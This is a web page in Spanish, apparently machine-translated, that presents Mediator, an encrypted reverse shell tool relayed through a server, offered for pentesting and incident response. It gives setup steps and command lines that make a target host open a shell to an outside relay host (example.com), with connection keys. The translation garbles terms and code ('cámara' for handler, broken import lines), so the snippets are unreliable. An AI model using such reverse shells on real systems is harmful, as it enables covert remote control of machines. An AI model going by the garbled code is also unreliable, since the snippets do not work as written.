Tutoriales

Un shell inverso cifrado de extremo a extremo extensible

Mediator es un shell inverso oculto de extremo a extremo en el que el cámara y el shell se conectan a un servidor «Mediator» que une las conexiones. Esto elimina la penuria de que el cámara / administrador configure el reenvío de puertos para escuchar la conexión. Mediator todavía le permite crear complementos para ampliar la funcionalidad del shell inverso.

Puede ejecutar los scripts de Mediator como ejecutables independientes o importarlos para integrarlos con otras herramientas de pentesting y respuesta a incidentes.

Bloque

Inspirado por las aplicaciones de chat encriptadas de un extremo a otro, Mediator adopta un enfoque único para el maniquí cliente / servidor de un shell inverso. Usos del mediador:

  1. Un shell inverso de cliente
  2. Un administrador / cámara de clientes
  3. Un servidor que conecta las dos conexiones

Los controladores y shells inversos se conectan al servidor Mediator con una esencia de conexión. El servidor audición en el puerto 80 para conexiones de compensador y el puerto 443 para conexiones de shell inversas. Cuando los clientes se conectan al mediador, el servidor pone en huesito dulce a los clientes según su tipo y esencia de conexión. Si tanto un shell inverso como un cámara se conectan al servidor con la misma esencia, el servidor une las dos conexiones. A partir de ahí, se lleva a lugar un intercambio de claves entre los dos clientes y toda la comunicación entre el shell inverso y el cámara se número de extremo a extremo. Esto asegura que el servidor no pueda monitorear las transmisiones que está reenviando.

Complementos

Los complementos le permiten añadir comandos adicionales que el código puede ejecutar en el host del cámara, el host de destino o los dos. Puede encontrar más información sobre complementos en el archivo README en el directorio de complementos.

manual

servidor

Las secuencias de comandos del cliente se pueden ejecutar en Windows o Linux, pero debe configurar el servidor (mediator.py) en un host Linux. El servidor es Python puro, por lo que no es necesario instalar dependencias. Puede ejecutar el script del servidor con

$ python3 mediator.py

o puede crear una imagen de Docker con el Dockerfile proporcionado y ejecutarlo en un contenedor (asegúrese de que los puertos 80 y 443 estén publicados).

Clientes

Debe instalar las dependencias en el archivo requirements.txt para que los clientes funcionen. Puede hacer esto con el próximo comando:

$ pip3 install -r requirements.txt

Ver Consejos y recordatorios a continuación para obtener ayuda con la distribución de clientes sin preocuparse por las dependencias.

El compensador y el shell inverso se pueden usar en otros scripts de Python o directamente desde la camino de comandos. En cualquier caso, los clientes pueden aceptar argumentos para la dirección del servidor y la esencia de conexión. El uso de estos argumentos se describe a continuación.

Dirección del servidor mediador

Con destino a Secuencia de comandos de Python Se requiere la dirección del host mediador para la instanciación:

Clase de comerciante

desde el compensador de importación del compensador
cámara = manejador (mediatorHost = ”ejemplo.com”)
operator.run ()

Clase WindowsRShell

Importar desde WindowsTarget WindowsRShell
shell = WindowsRShell (mediatorHost = ”ejemplo.com”)
shell.run ()

Al ejecutar un script de cliente directamente de un cuenco, puede codificar la dirección al final del script o proporcionar la dirección del servidor como argumento con el -s o --server bandera:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> Python windowsTarget.py -s example.com

Esencia de conexión

Cuando dos controladores o dos shells inversos se conectan al servidor Mediator con la misma esencia de conexión, solo la primera conexión se pone en huesito dulce hasta que coincida. Hasta que la conexión en la huesito dulce haya expirado (30 segundos) o coincida con una conexión de ajuste, se eliminarán todos los demás clientes del mismo tipo que intenten conectarse con la misma esencia de conexión.

Es importante comprobar de que cada compensador use una esencia de conexión única para evitar una condición de carrera que resultará en que se pase el shell incorrecto a un cámara.

El servidor solo acepta las claves con el prefijo «#! ConnectionKey_». La esencia de conexión en serie es «#! ConnectionKey_CHANGE_ME !!!».

Cómo cambiar la esencia de conexión para Secuencia de comandos de Python La esencia de conexión se puede proporcionar opcionalmente con la instanciación:

Clase de comerciante

de Handler Import Handler
operator = handler (mediatorHost = ”example.com”, connectionKey = ”#! ConnectionKey_secret_key”)
operator.run ()

Clase LinuxRShell

Importar desde linuxTarget LinuxRShell
shell = LinuxRShell (mediatorHost = ”example.com”, connectionKey = ”#! ConnectionKey_secret_key”)
shell.run ()

Cuando ejecuta un script de cliente directamente de un cuenco, puede codificar la esencia de conexión al final de la secuencia de comandos o proporcionar la esencia de conexión como un argumento con el especificado -c o --connection-key Bandera:

handler.py

$ python3 handler.py -s example.com -c ‘#! ConnectionKey_secret_key’

windowsTarget.py

> Python windowsTarget.py -s example.com -c ‘#! ConnectionKey_secret_key’

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Botón volver arriba